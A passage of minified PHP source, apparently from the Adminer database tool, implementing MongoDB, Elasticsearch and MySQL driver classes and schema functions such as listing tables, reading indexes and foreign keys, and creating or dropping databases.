as$z=>$X){if(!isset($this->_rows[0][$z]))$this->_rows[0][$z]=null;}}$this->num_rows=count($this->_rows);}function
fetch_assoc(){$K=current($this->_rows);if(!$K)return$K;$J=array();foreach($this->_rows[0]as$z=>$X)$J[$z]=$K[$z];next($this->_rows);return$J;}function
fetch_row(){$J=$this->fetch_assoc();if(!$J)return$J;return
array_values($J);}function
fetch_field(){$ce=array_keys($this->_rows[0]);$D=$ce[$this->_offset++];return(object)array('name'=>$D,'charsetnr'=>$this->_charset[$D],);}}class
Min_Driver
extends
Min_SQL{public$dg="_id";function
select($R,$M,$Z,$md,$tf=array(),$_=1,$F=0,$fg=false){$M=($M==array("*")?array():array_fill_keys($M,true));$mh=array();foreach($tf
as$X){$X=preg_replace('~ DESC$~','',$X,1,$Eb);$mh[$X]=($Eb?-1:1);}return
new
Min_Result($this->_conn->_db->selectCollection($R)->find(array(),$M)->sort($mh)->limit($_!=""?+$_:0)->skip($F*$_));}function
insert($R,$P){try{$J=$this->_conn->_db->selectCollection($R)->insert($P);$this->_conn->errno=$J['code'];$this->_conn->error=$J['err'];$this->_conn->last_id=$P['_id'];return!$J['err'];}catch(Exception$Ac){$this->_conn->error=$Ac->getMessage();return
false;}}}function
get_databases($ad){global$g;$J=array();$Qb=$g->_link->listDBs();foreach($Qb['databases']as$m)$J[]=$m['name'];return$J;}function
count_tables($l){global$g;$J=array();foreach($l
as$m)$J[$m]=count($g->_link->selectDB($m)->getCollectionNames(true));return$J;}function
tables_list(){global$g;return
array_fill_keys($g->_db->getCollectionNames(true),'table');}function
drop_databases($l){global$g;foreach($l
as$m){$Fg=$g->_link->selectDB($m)->drop();if(!$Fg['ok'])return
false;}return
true;}function
indexes($R,$h=null){global$g;$J=array();foreach($g->_db->selectCollection($R)->getIndexInfo()as$w){$Xb=array();foreach($w["key"]as$d=>$U)$Xb[]=($U==-1?'1':null);$J[$w["name"]]=array("type"=>($w["name"]=="_id_"?"PRIMARY":($w["unique"]?"UNIQUE":"INDEX")),"columns"=>array_keys($w["key"]),"lengths"=>array(),"descs"=>$Xb,);}return$J;}function
fields($R){return
fields_from_edit();}function
found_rows($S,$Z){global$g;return$g->_db->selectCollection($_GET["select"])->count($Z);}$of=array("=");}elseif(class_exists('MongoDB\Driver\Manager')){class
Min_DB{var$extension="MongoDB",$error,$last_id;var$_link;var$_db,$_db_name;function
connect($O,$V,$G){global$b;$m=$b->database();$rf=array();if($V!=""){$rf["username"]=$V;$rf["password"]=$G;}if($m!="")$rf["db"]=$m;try{$kb='MongoDB\Driver\Manager';$this->_link=new$kb("mongodb://$O",$rf);return
true;}catch(Exception$Ac){$this->error=$Ac->getMessage();return
false;}}function
query($H){return
false;}function
select_db($k){try{$this->_db_name=$k;return
true;}catch(Exception$Ac){$this->error=$Ac->getMessage();return
false;}}function
quote($Q){return$Q;}}class
Min_Result{var$num_rows,$_rows=array(),$_offset=0,$_charset=array();function
__construct($I){foreach($I
as$Wd){$K=array();foreach($Wd
as$z=>$X){if(is_a($X,'MongoDB\BSON\Binary'))$this->_charset[$z]=63;$K[$z]=(is_a($X,'MongoDB\BSON\ObjectID')?'MongoDB\BSON\ObjectID("'.strval($X).'")':(is_a($X,'MongoDB\BSON\UTCDatetime')?$X->toDateTime()->format('Y-m-d H:i:s'):(is_a($X,'MongoDB\BSON\Binary')?$X->bin:(is_a($X,'MongoDB\BSON\Regex')?strval($X):(is_object($X)?json_encode($X,256):$X)))));}$this->_rows[]=$K;foreach($K
as$z=>$X){if(!isset($this->_rows[0][$z]))$this->_rows[0][$z]=null;}}$this->num_rows=$I->count;}function
fetch_assoc(){$K=current($this->_rows);if(!$K)return$K;$J=array();foreach($this->_rows[0]as$z=>$X)$J[$z]=$K[$z];next($this->_rows);return$J;}function
fetch_row(){$J=$this->fetch_assoc();if(!$J)return$J;return
array_values($J);}function
fetch_field(){$ce=array_keys($this->_rows[0]);$D=$ce[$this->_offset++];return(object)array('name'=>$D,'charsetnr'=>$this->_charset[$D],);}}class
Min_Driver
extends
Min_SQL{public$dg="_id";function
select($R,$M,$Z,$md,$tf=array(),$_=1,$F=0,$fg=false){global$g;$M=($M==array("*")?array():array_fill_keys($M,1));if(count($M)&&!isset($M['_id']))$M['_id']=0;$Z=where_to_query($Z);$mh=array();foreach($tf
as$X){$X=preg_replace('~ DESC$~','',$X,1,$Eb);$mh[$X]=($Eb?-1:1);}if(isset($_GET['limit'])&&is_numeric($_GET['limit'])&&$_GET['limit']>0)$_=$_GET['limit'];$_=min(200,max(1,(int)$_));$kh=$F*$_;$kb='MongoDB\Driver\Query';$H=new$kb($Z,array('projection'=>$M,'limit'=>$_,'skip'=>$kh,'sort'=>$mh));$Ig=$g->_link->executeQuery("$g->_db_name.$R",$H);return
new
Min_Result($Ig);}function
update($R,$P,$pg,$_=0,$N="\n"){global$g;$m=$g->_db_name;$Z=sql_query_where_parser($pg);$kb='MongoDB\Driver\BulkWrite';$Za=new$kb(array());if(isset($P['_id']))unset($P['_id']);$Cg=array();foreach($P
as$z=>$Y){if($Y=='NULL'){$Cg[$z]=1;unset($P[$z]);}}$Ci=array('$set'=>$P);if(count($Cg))$Ci['$unset']=$Cg;$Za->update($Z,$Ci,array('upsert'=>false));$Ig=$g->_link->executeBulkWrite("$m.$R",$Za);$g->affected_rows=$Ig->getModifiedCount();return
true;}function
delete($R,$pg,$_=0){global$g;$m=$g->_db_name;$Z=sql_query_where_parser($pg);$kb='MongoDB\Driver\BulkWrite';$Za=new$kb(array());$Za->delete($Z,array('limit'=>$_));$Ig=$g->_link->executeBulkWrite("$m.$R",$Za);$g->affected_rows=$Ig->getDeletedCount();return
true;}function
insert($R,$P){global$g;$m=$g->_db_name;$kb='MongoDB\Driver\BulkWrite';$Za=new$kb(array());if(isset($P['_id'])&&empty($P['_id']))unset($P['_id']);$Za->insert($P);$Ig=$g->_link->executeBulkWrite("$m.$R",$Za);$g->affected_rows=$Ig->getInsertedCount();return
true;}}function
get_databases($ad){global$g;$J=array();$kb='MongoDB\Driver\Command';$tb=new$kb(array('listDatabases'=>1));$Ig=$g->_link->executeCommand('admin',$tb);foreach($Ig
as$Qb){foreach($Qb->databases
as$m)$J[]=$m->name;}return$J;}function
count_tables($l){$J=array();return$J;}function
tables_list(){global$g;$kb='MongoDB\Driver\Command';$tb=new$kb(array('listCollections'=>1));$Ig=$g->_link->executeCommand($g->_db_name,$tb);$rb=array();foreach($Ig
as$I)$rb[$I->name]='table';return$rb;}function
drop_databases($l){return
false;}function
indexes($R,$h=null){global$g;$J=array();$kb='MongoDB\Driver\Command';$tb=new$kb(array('listIndexes'=>$R));$Ig=$g->_link->executeCommand($g->_db_name,$tb);foreach($Ig
as$w){$Xb=array();$e=array();foreach(get_object_vars($w->key)as$d=>$U){$Xb[]=($U==-1?'1':null);$e[]=$d;}$J[$w->name]=array("type"=>($w->name=="_id_"?"PRIMARY":(isset($w->unique)?"UNIQUE":"INDEX")),"columns"=>$e,"lengths"=>array(),"descs"=>$Xb,);}return$J;}function
fields($R){$q=fields_from_edit();if(!count($q)){global$n;$I=$n->select($R,array("*"),null,null,array(),10);while($K=$I->fetch_assoc()){foreach($K
as$z=>$X){$K[$z]=null;$q[$z]=array("field"=>$z,"type"=>"string","null"=>($z!=$n->primary),"auto_increment"=>($z==$n->primary),"privileges"=>array("insert"=>1,"select"=>1,"update"=>1,),);}}}return$q;}function
found_rows($S,$Z){global$g;$Z=where_to_query($Z);$kb='MongoDB\Driver\Command';$tb=new$kb(array('count'=>$S['Name'],'query'=>$Z));$Ig=$g->_link->executeCommand($g->_db_name,$tb);$fi=$Ig->toArray();return$fi[0]->n;}function
sql_query_where_parser($pg){$pg=trim(preg_replace('/WHERE[\s]?[(]?\(?/','',$pg));$pg=preg_replace('/\)\)\)$/',')',$pg);$cj=explode(' AND ',$pg);$dj=explode(') OR (',$pg);$Z=array();foreach($cj
as$aj)$Z[]=trim($aj);if(count($dj)==1)$dj=array();elseif(count($dj)>1)$Z=array();return
where_to_query($Z,$dj);}function
where_to_query($Yi=array(),$Zi=array()){global$of;$Lb=array();foreach(array('and'=>$Yi,'or'=>$Zi)as$U=>$Z){if(is_array($Z)){foreach($Z
as$Hc){list($nb,$mf,$X)=explode(" ",$Hc,3);if($nb=="_id"){$X=str_replace('MongoDB\BSON\ObjectID("',"",$X);$X=str_replace('")',"",$X);$kb='MongoDB\BSON\ObjectID';$X=new$kb($X);}if(!in_array($mf,$of))continue;if(preg_match('~^\(f\)(.+)~',$mf,$C)){$X=(float)$X;$mf=$C[1];}elseif(preg_match('~^\(date\)(.+)~',$mf,$C)){$Nb=new
DateTime($X);$kb='MongoDB\BSON\UTCDatetime';$X=new$kb($Nb->getTimestamp()*1000);$mf=$C[1];}switch($mf){case'=':$mf='$eq';break;case'!=':$mf='$ne';break;case'>':$mf='$gt';break;case'<':$mf='$lt';break;case'>=':$mf='$gte';break;case'<=':$mf='$lte';break;case'regex':$mf='$regex';break;default:continue;}if($U=='and')$Lb['$and'][]=array($nb=>array($mf=>$X));elseif($U=='or')$Lb['$or'][]=array($nb=>array($mf=>$X));}}}return$Lb;}$of=array("=","!=",">","<",">=","<=","regex","(f)=","(f)!=","(f)>","(f)<","(f)>=","(f)<=","(date)=","(date)!=","(date)>","(date)<","(date)>=","(date)<=",);}function
table($v){return$v;}function
idf_escape($v){return$v;}function
table_status($D="",$Oc=false){$J=array();foreach(tables_list()as$R=>$U){$J[$R]=array("Name"=>$R);if($D==$R)return$J[$R];}return$J;}function
last_id(){global$g;return$g->last_id;}function
error(){global$g;return
h($g->error);}function
collations(){return
array();}function
logged_user(){global$b;$j=$b->credentials();return$j[1];}function
connect(){global$b;$g=new
Min_DB;$j=$b->credentials();if($g->connect($j[0],$j[1],$j[2]))return$g;return$g->error;}function
alter_indexes($R,$c){global$g;foreach($c
as$X){list($U,$D,$P)=$X;if($P=="DROP")$J=$g->_db->command(array("deleteIndexes"=>$R,"index"=>$D));else{$e=array();foreach($P
as$d){$d=preg_replace('~ DESC$~','',$d,1,$Eb);$e[$d]=($Eb?-1:1);}$J=$g->_db->selectCollection($R)->ensureIndex($e,array("unique"=>($U=="UNIQUE"),"name"=>$D,));}if($J['errmsg']){$g->error=$J['errmsg'];return
false;}}return
true;}function
support($Pc){return
preg_match("~database|indexes~",$Pc);}function
db_collation($m,$qb){}function
information_schema(){}function
is_view($S){}function
convert_field($p){}function
unconvert_field($p,$J){return$J;}function
foreign_keys($R){return
array();}function
fk_support($S){}function
engines(){return
array();}function
alter_table($R,$D,$q,$bd,$vb,$uc,$pb,$Ma,$Nf){global$g;if($R==""){$g->_db->createCollection($D);return
true;}}function
drop_tables($T){global$g;foreach($T
as$R){$Fg=$g->_db->selectCollection($R)->drop();if(!$Fg['ok'])return
false;}return
true;}function
truncate_tables($T){global$g;foreach($T
as$R){$Fg=$g->_db->selectCollection($R)->remove();if(!$Fg['ok'])return
false;}return
true;}$y="mongo";$jd=array();$pd=array();$mc=array(array("json"));}$ec["elastic"]="Elasticsearch (beta)";if(isset($_GET["elastic"])){$ag=array("json");define("DRIVER","elastic");if(function_exists('json_decode')){class
Min_DB{var$extension="JSON",$server_info,$errno,$error,$_url;function
rootQuery($Rf,$_b=array(),$Me='GET'){@ini_set('track_errors',1);$Tc=@file_get_contents("$this->_url/".ltrim($Rf,'/'),false,stream_context_create(array('http'=>array('method'=>$Me,'content'=>$_b===null?$_b:json_encode($_b),'header'=>'Content-Type: application/json','ignore_errors'=>1,))));if(!$Tc){$this->error=$php_errormsg;return$Tc;}if(!preg_match('~^HTTP/[0-9.]+ 2~i',$http_response_header[0])){$this->error=$Tc;return
false;}$J=json_decode($Tc,true);if($J===null){$this->errno=json_last_error();if(function_exists('json_last_error_msg'))$this->error=json_last_error_msg();else{$zb=get_defined_constants(true);foreach($zb['json']as$D=>$Y){if($Y==$this->errno&&preg_match('~^JSON_ERROR_~',$D)){$this->error=$D;break;}}}}return$J;}function
query($Rf,$_b=array(),$Me='GET'){return$this->rootQuery(($this->_db!=""?"$this->_db/":"/").ltrim($Rf,'/'),$_b,$Me);}function
connect($O,$V,$G){preg_match('~^(https?://)?(.*)~',$O,$C);$this->_url=($C[1]?$C[1]:"http://")."$V:$G@$C[2]";$J=$this->query('');if($J)$this->server_info=$J['version']['number'];return(bool)$J;}function
select_db($k){$this->_db=$k;return
true;}function
quote($Q){return$Q;}}class
Min_Result{var$num_rows,$_rows;function
__construct($L){$this->num_rows=count($this->_rows);$this->_rows=$L;reset($this->_rows);}function
fetch_assoc(){$J=current($this->_rows);next($this->_rows);return$J;}function
fetch_row(){return
array_values($this->fetch_assoc());}}}class
Min_Driver
extends
Min_SQL{function
select($R,$M,$Z,$md,$tf=array(),$_=1,$F=0,$fg=false){global$b;$Lb=array();$H="$R/_search";if($M!=array("*"))$Lb["fields"]=$M;if($tf){$mh=array();foreach($tf
as$nb){$nb=preg_replace('~ DESC$~','',$nb,1,$Eb);$mh[]=($Eb?array($nb=>"desc"):$nb);}$Lb["sort"]=$mh;}if($_){$Lb["size"]=+$_;if($F)$Lb["from"]=($F*$_);}foreach($Z
as$X){list($nb,$mf,$X)=explode(" ",$X,3);if($nb=="_id")$Lb["query"]["ids"]["values"][]=$X;elseif($nb.$X!=""){$Sh=array("term"=>array(($nb!=""?$nb:"_all")=>$X));if($mf=="=")$Lb["query"]["filtered"]["filter"]["and"][]=$Sh;else$Lb["query"]["filtered"]["query"]["bool"]["must"][]=$Sh;}}if($Lb["query"]&&!$Lb["query"]["filtered"]["query"]&&!$Lb["query"]["ids"])$Lb["query"]["filtered"]["query"]=array("match_all"=>array());$vh=microtime(true);$Vg=$this->_conn->query($H,$Lb);if($fg)echo$b->selectQuery("$H: ".print_r($Lb,true),$vh,!$Vg);if(!$Vg)return
false;$J=array();foreach($Vg['hits']['hits']as$xd){$K=array();if($M==array("*"))$K["_id"]=$xd["_id"];$q=$xd['_source'];if($M!=array("*")){$q=array();foreach($M
as$z)$q[$z]=$xd['fields'][$z];}foreach($q
as$z=>$X){if($Lb["fields"])$X=$X[0];$K[$z]=(is_array($X)?json_encode($X):$X);}$J[]=$K;}return
new
Min_Result($J);}function
update($U,$ug,$pg){$Pf=preg_split('~ *= *~',$pg);if(count($Pf)==2){$u=trim($Pf[1]);$H="$U/$u";return$this->_conn->query($H,$ug,'POST');}return
false;}function
insert($U,$ug){$u="";$H="$U/$u";$Fg=$this->_conn->query($H,$ug,'POST');$this->_conn->last_id=$Fg['_id'];return$Fg['created'];}function
delete($U,$pg){$Ad=array();if(is_array($_GET["where"])&&$_GET["where"]["_id"])$Ad[]=$_GET["where"]["_id"];if(is_array($_POST['check'])){foreach($_POST['check']as$db){$Pf=preg_split('~ *= *~',$db);if(count($Pf)==2)$Ad[]=trim($Pf[1]);}}$this->_conn->affected_rows=0;foreach($Ad
as$u){$H="{$U}/{$u}";$Fg=$this->_conn->query($H,'{}','DELETE');if(is_array($Fg)&&$Fg['found']==true)$this->_conn->affected_rows++;}return$this->_conn->affected_rows;}}function
connect(){global$b;$g=new
Min_DB;$j=$b->credentials();if($g->connect($j[0],$j[1],$j[2]))return$g;return$g->error;}function
support($Pc){return
preg_match("~database|table|columns~",$Pc);}function
logged_user(){global$b;$j=$b->credentials();return$j[1];}function
get_databases(){global$g;$J=$g->rootQuery('_aliases');if($J){$J=array_keys($J);sort($J,SORT_STRING);}return$J;}function
collations(){return
array();}function
db_collation($m,$qb){}function
engines(){return
array();}function
count_tables($l){global$g;$J=array();$I=$g->query('_stats');if($I&&$I['indices']){$Hd=$I['indices'];foreach($Hd
as$Gd=>$wh){$Fd=$wh['total']['indexing'];$J[$Gd]=$Fd['index_total'];}}return$J;}function
tables_list(){global$g;$J=$g->query('_mapping');if($J)$J=array_fill_keys(array_keys($J[$g->_db]["mappings"]),'table');return$J;}function
table_status($D="",$Oc=false){global$g;$Vg=$g->query("_search",array("size"=>0,"aggregations"=>array("count_by_type"=>array("terms"=>array("field"=>"_type")))),"POST");$J=array();if($Vg){$T=$Vg["aggregations"]["count_by_type"]["buckets"];foreach($T
as$R){$J[$R["key"]]=array("Name"=>$R["key"],"Engine"=>"table","Rows"=>$R["doc_count"],);if($D!=""&&$D==$R["key"])return$J[$D];}}return$J;}function
error(){global$g;return
h($g->error);}function
information_schema(){}function
is_view($S){}function
indexes($R,$h=null){return
array(array("type"=>"PRIMARY","columns"=>array("_id")),);}function
fields($R){global$g;$I=$g->query("$R/_mapping");$J=array();if($I){$ve=$I[$R]['properties'];if(!$ve)$ve=$I[$g->_db]['mappings'][$R]['properties'];if($ve){foreach($ve
as$D=>$p){$J[$D]=array("field"=>$D,"full_type"=>$p["type"],"type"=>$p["type"],"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),);if($p["properties"]){unset($J[$D]["privileges"]["insert"]);unset($J[$D]["privileges"]["update"]);}}}}return$J;}function
foreign_keys($R){return
array();}function
table($v){return$v;}function
idf_escape($v){return$v;}function
convert_field($p){}function
unconvert_field($p,$J){return$J;}function
fk_support($S){}function
found_rows($S,$Z){return
null;}function
create_database($m){global$g;return$g->rootQuery(urlencode($m),null,'PUT');}function
drop_databases($l){global$g;return$g->rootQuery(urlencode(implode(',',$l)),array(),'DELETE');}function
alter_table($R,$D,$q,$bd,$vb,$uc,$pb,$Ma,$Nf){global$g;$lg=array();foreach($q
as$Mc){$Rc=trim($Mc[1][0]);$Sc=trim($Mc[1][1]?$Mc[1][1]:"text");$lg[$Rc]=array('type'=>$Sc);}if(!empty($lg))$lg=array('properties'=>$lg);return$g->query("_mapping/{$D}",$lg,'PUT');}function
drop_tables($T){global$g;$J=true;foreach($T
as$R)$J=$J&&$g->query(urlencode($R),array(),'DELETE');return$J;}function
last_id(){global$g;return$g->last_id;}$y="elastic";$of=array("=","query");$jd=array();$pd=array();$mc=array(array("json"));$vi=array();$_h=array();foreach(array(lang(25)=>array("long"=>3,"integer"=>5,"short"=>8,"byte"=>10,"double"=>20,"float"=>66,"half_float"=>12,"scaled_float"=>21),lang(26)=>array("date"=>10),lang(23)=>array("string"=>65535,"text"=>65535),lang(27)=>array("binary"=>255),)as$z=>$X){$vi+=$X;$_h[$z]=array_keys($X);}}$ec=array("server"=>"MySQL")+$ec;if(!defined("DRIVER")){$ag=array("MySQLi","MySQL","PDO_MySQL");define("DRIVER","server");if(extension_loaded("mysqli")){class
Min_DB
extends
MySQLi{var$extension="MySQLi";function
__construct(){parent::init();}function
connect($O="",$V="",$G="",$k=null,$Wf=null,$lh=null){global$b;mysqli_report(MYSQLI_REPORT_OFF);list($yd,$Wf)=explode(":",$O,2);$uh=$b->connectSsl();if($uh)$this->ssl_set($uh['key'],$uh['cert'],$uh['ca'],'','');$J=@$this->real_connect(($O!=""?$yd:ini_get("mysqli.default_host")),($O.$V!=""?$V:ini_get("mysqli.default_user")),($O.$V.$G!=""?$G:ini_get("mysqli.default_pw")),$k,(is_numeric($Wf)?$Wf:ini_get("mysqli.default_port")),(!is_numeric($Wf)?$Wf:$lh),($uh?64:0));return$J;}function
set_charset($cb){if(parent::set_charset($cb))return
true;parent::set_charset('utf8');return$this->query("SET NAMES $cb");}function
result($H,$p=0){$I=$this->query($H);if(!$I)return
false;$K=$I->fetch_array();return$K[$p];}function
quote($Q){return"'".$this->escape_string($Q)."'";}}}elseif(extension_loaded("mysql")&&!(ini_get("sql.safe_mode")&&extension_loaded("pdo_mysql"))){class
Min_DB{var$extension="MySQL",$server_info,$affected_rows,$errno,$error,$_link,$_result;function
connect($O,$V,$G){$this->_link=@mysql_connect(($O!=""?$O:ini_get("mysql.default_host")),("$O$V"!=""?$V:ini_get("mysql.default_user")),("$O$V$G"!=""?$G:ini_get("mysql.default_password")),true,131072);if($this->_link)$this->server_info=mysql_get_server_info($this->_link);else$this->error=mysql_error();return(bool)$this->_link;}function
set_charset($cb){if(function_exists('mysql_set_charset')){if(mysql_set_charset($cb,$this->_link))return
true;mysql_set_charset('utf8',$this->_link);}return$this->query("SET NAMES $cb");}function
quote($Q){return"'".mysql_real_escape_string($Q,$this->_link)."'";}function
select_db($k){return
mysql_select_db($k,$this->_link);}function
query($H,$wi=false){$I=@($wi?mysql_unbuffered_query($H,$this->_link):mysql_query($H,$this->_link));$this->error="";if(!$I){$this->errno=mysql_errno($this->_link);$this->error=mysql_error($this->_link);return
false;}if($I===true){$this->affected_rows=mysql_affected_rows($this->_link);$this->info=mysql_info($this->_link);return
true;}return
new
Min_Result($I);}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
result($H,$p=0){$I=$this->query($H);if(!$I||!$I->num_rows)return
false;return
mysql_result($I->_result,0,$p);}}class
Min_Result{var$num_rows,$_result,$_offset=0;function
__construct($I){$this->_result=$I;$this->num_rows=mysql_num_rows($I);}function
fetch_assoc(){return
mysql_fetch_assoc($this->_result);}function
fetch_row(){return
mysql_fetch_row($this->_result);}function
fetch_field(){$J=mysql_fetch_field($this->_result,$this->_offset++);$J->orgtable=$J->table;$J->orgname=$J->name;$J->charsetnr=($J->blob?63:0);return$J;}function
__destruct(){mysql_free_result($this->_result);}}}elseif(extension_loaded("pdo_mysql")){class
Min_DB
extends
Min_PDO{var$extension="PDO_MySQL";function
connect($O,$V,$G){global$b;$rf=array();$uh=$b->connectSsl();if($uh)$rf=array(PDO::MYSQL_ATTR_SSL_KEY=>$uh['key'],PDO::MYSQL_ATTR_SSL_CERT=>$uh['cert'],PDO::MYSQL_ATTR_SSL_CA=>$uh['ca'],);$this->dsn("mysql:charset=utf8;host=".str_replace(":",";unix_socket=",preg_replace('~:(\\d)~',';port=\\1',$O)),$V,$G,$rf);return
true;}function
set_charset($cb){$this->query("SET NAMES $cb");}function
select_db($k){return$this->query("USE ".idf_escape($k));}function
query($H,$wi=false){$this->setAttribute(1000,!$wi);return
parent::query($H,$wi);}}}class
Min_Driver
extends
Min_SQL{function
insert($R,$P){return($P?parent::insert($R,$P):queries("INSERT INTO ".table($R)." ()\nVALUES ()"));}function
insertUpdate($R,$L,$dg){$e=array_keys(reset($L));$bg="INSERT INTO ".table($R)." (".implode(", ",$e).") VALUES\n";$Ni=array();foreach($e
as$z)$Ni[$z]="$z = VALUES($z)";$Ch="\nON DUPLICATE KEY UPDATE ".implode(", ",$Ni);$Ni=array();$pe=0;foreach($L
as$P){$Y="(".implode(", ",$P).")";if($Ni&&(strlen($bg)+$pe+strlen($Y)+strlen($Ch)>1e6)){if(!queries($bg.implode(",\n",$Ni).$Ch))return
false;$Ni=array();$pe=0;}$Ni[]=$Y;$pe+=strlen($Y)+2;}return
queries($bg.implode(",\n",$Ni).$Ch);}function
convertSearch($v,$X,$p){return(preg_match('~char|text|enum|set~',$p["type"])&&!preg_match("~^utf8~",$p["collation"])?"CONVERT($v USING ".charset($this->_conn).")":$v);}function
warnings(){$I=$this->_conn->query("SHOW WARNINGS");if($I&&$I->num_rows){ob_start();select($I);return
ob_get_clean();}}function
tableHelp($D){$we=preg_match('~MariaDB~',$this->_conn->server_info);if(information_schema(DB))return
strtolower(($we?"information-schema-$D-table/":str_replace("_","-",$D)."-table.html"));if(DB=="mysql")return($we?"mysql$D-table/":"system-database.html");}}function
idf_escape($v){return"`".str_replace("`","``",$v)."`";}function
table($v){return
idf_escape($v);}function
connect(){global$b,$vi,$_h;$g=new
Min_DB;$j=$b->credentials();if($g->connect($j[0],$j[1],$j[2])){$g->set_charset(charset($g));$g->query("SET sql_quote_show_create = 1, autocommit = 1");if(min_version('5.7.8',10.2,$g)){$_h[lang(23)][]="json";$vi["json"]=4294967295;}return$g;}$J=$g->error;if(function_exists('iconv')&&!is_utf8($J)&&strlen($Rg=iconv("windows-1250","utf-8",$J))>strlen($J))$J=$Rg;return$J;}function
get_databases($ad){$J=get_session("dbs");if($J===null){$H=(min_version(5)?"SELECT SCHEMA_NAME FROM information_schema.SCHEMATA":"SHOW DATABASES");$J=($ad?slow_query($H):get_vals($H));restart_session();set_session("dbs",$J);stop_session();}return$J;}function
limit($H,$Z,$_,$E=0,$N=" "){return" $H$Z".($_!==null?$N."LIMIT $_".($E?" OFFSET $E":""):"");}function
limit1($R,$H,$Z,$N="\n"){return
limit($H,$Z,1,0,$N);}function
db_collation($m,$qb){global$g;$J=null;$i=$g->result("SHOW CREATE DATABASE ".idf_escape($m),1);if(preg_match('~ COLLATE ([^ ]+)~',$i,$C))$J=$C[1];elseif(preg_match('~ CHARACTER SET ([^ ]+)~',$i,$C))$J=$qb[$C[1]][-1];return$J;}function
engines(){$J=array();foreach(get_rows("SHOW ENGINES")as$K){if(preg_match("~YES|DEFAULT~",$K["Support"]))$J[]=$K["Engine"];}return$J;}function
logged_user(){global$g;return$g->result("SELECT USER()");}function
tables_list(){return
get_key_vals(min_version(5)?"SELECT TABLE_NAME, TABLE_TYPE FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() ORDER BY TABLE_NAME":"SHOW TABLES");}function
count_tables($l){$J=array();foreach($l
as$m)$J[$m]=count(get_vals("SHOW TABLES IN ".idf_escape($m)));return$J;}function
table_status($D="",$Oc=false){$J=array();foreach(get_rows($Oc&&min_version(5)?"SELECT TABLE_NAME AS Name, ENGINE AS Engine, TABLE_COMMENT AS Comment FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() ".($D!=""?"AND TABLE_NAME = ".q($D):"ORDER BY Name"):"SHOW TABLE STATUS".($D!=""?" LIKE ".q(addcslashes($D,"%_\\")):""))as$K){if($K["Engine"]=="InnoDB")$K["Comment"]=preg_replace('~(?:(.+); )?InnoDB free: .*~','\\1',$K["Comment"]);if(!isset($K["Engine"]))$K["Comment"]="";if($D!="")return$K;$J[$K["Name"]]=$K;}return$J;}function
is_view($S){return$S["Engine"]===null;}function
fk_support($S){return
preg_match('~InnoDB|IBMDB2I~i',$S["Engine"])||(preg_match('~NDB~i',$S["Engine"])&&min_version(5.6));}function
fields($R){$J=array();foreach(get_rows("SHOW FULL COLUMNS FROM ".table($R))as$K){preg_match('~^([^( ]+)(?:\\((.+)\\))?( unsigned)?( zerofill)?$~',$K["Type"],$C);$J[$K["Field"]]=array("field"=>$K["Field"],"full_type"=>$K["Type"],"type"=>$C[1],"length"=>$C[2],"unsigned"=>ltrim($C[3].$C[4]),"default"=>($K["Default"]!=""||preg_match("~char|set~",$C[1])?$K["Default"]:null),"null"=>($K["Null"]=="YES"),"auto_increment"=>($K["Extra"]=="auto_increment"),"on_update"=>(preg_match('~^on update (.+)~i',$K["Extra"],$C)?$C[1]:""),"collation"=>$K["Collation"],"privileges"=>array_flip(preg_split('~, *~',$K["Privileges"])),"comment"=>$K["Comment"],"primary"=>($K["Key"]=="PRI"),);}return$J;}function
indexes($R,$h=null){$J=array();foreach(get_rows("SHOW INDEX FROM ".table($R),$h)as$K){$D=$K["Key_name"];$J[$D]["type"]=($D=="PRIMARY"?"PRIMARY":($K["Index_type"]=="FULLTEXT"?"FULLTEXT":($K["Non_unique"]?($K["Index_type"]=="SPATIAL"?"SPATIAL":"INDEX"):"UNIQUE")));$J[$D]["columns"][]=$K["Column_name"];$J[$D]["lengths"][]=($K["Index_type"]=="SPATIAL"?null:$K["Sub_part"]);$J[$D]["descs"][]=null;}return$J;}function
foreign_keys($R){global$g,$jf;static$Tf='`(?:[^`]|``)+`';$J=array();$Fb=$g->result("SHOW CREATE TABLE ".table($R),1);if($Fb){preg_match_all("~CONSTRAINT ($Tf) FOREIGN KEY ?\\(((?:$Tf,? ?)+)\\) REFERENCES ($Tf)(?:\\.($Tf))? \\(((?:$Tf,? ?)+)\\)(?: ON DELETE ($jf))?(?: ON UPDATE ($jf))?~",$Fb,$ze,PREG_SET_ORDER);foreach($ze
as$C){preg_match_all("~$Tf~",$C[2],$nh);preg_match_all("~$Tf~",$C[5],$Ph);$J[idf_unescape($C[1])]=array("db"=>idf_unescape($C[4]!=""?$C[3]:$C[4]),"table"=>idf_unescape($C[4]!=""?$C[4]:$C[3]),"source"=>array_map('idf_unescape',$nh[0]),"target"=>array_map('idf_unescape',$Ph[0]),"on_delete"=>($C[6]?$C[6]:"RESTRICT"),"on_update"=>($C[7]?$C[7]:"RESTRICT"),);}}return$J;}function
view($D){global$g;return
array("select"=>preg_replace('~^(?:[^`]|`[^`]*`)*\\s+AS\\s+~isU','',$g->result("SHOW CREATE VIEW ".table($D),1)));}function
collations(){$J=array();foreach(get_rows("SHOW COLLATION")as$K){if($K["Default"])$J[$K["Charset"]][-1]=$K["Collation"];else$J[$K["Charset"]][]=$K["Collation"];}ksort($J);foreach($J
as$z=>$X)asort($J[$z]);return$J;}function
information_schema($m){return(min_version(5)&&$m=="information_schema")||(min_version(5.5)&&$m=="performance_schema");}function
error(){global$g;return
h(preg_replace('~^You have an error.*syntax to use~U',"Syntax error",$g->error));}function
create_database($m,$pb){return
queries("CREATE DATABASE ".idf_escape($m).($pb?" COLLATE ".q($pb):""));}function
drop_databases($l){$J=apply_queries("DROP DATABASE",$l,'idf_escape');restart_session();set_session("dbs",null);return$J;}function
rename_database($D,$pb){$J=false;if(create_database($D,$pb)){$Dg=array();foreach(tables_list()as$R=>$U)$Dg[]=table($R)." TO ".idf_escape($D).".".table($R);$J=(!$Dg||queries("RENAME TABLE ".implode(", ",$Dg)));if($J)queries("DROP DATABASE ".idf_escape(DB));restart_session();set_session("dbs",null);}return$J;}function
auto_increment(){$Na=" PRIMARY KEY";if($_GET["create"]!=""&&$_POST["auto_increment_col"]){foreach(indexes($_GET["create"])as$w){if(in_array($_POST["fields"][$_POST["auto_increment_col"]]["orig"],$w["columns"],true)){$Na="";break;}if($w["type"]=="PRIMARY")$Na=" UNIQUE";}}return" AUTO_INCREMENT$Na";}function
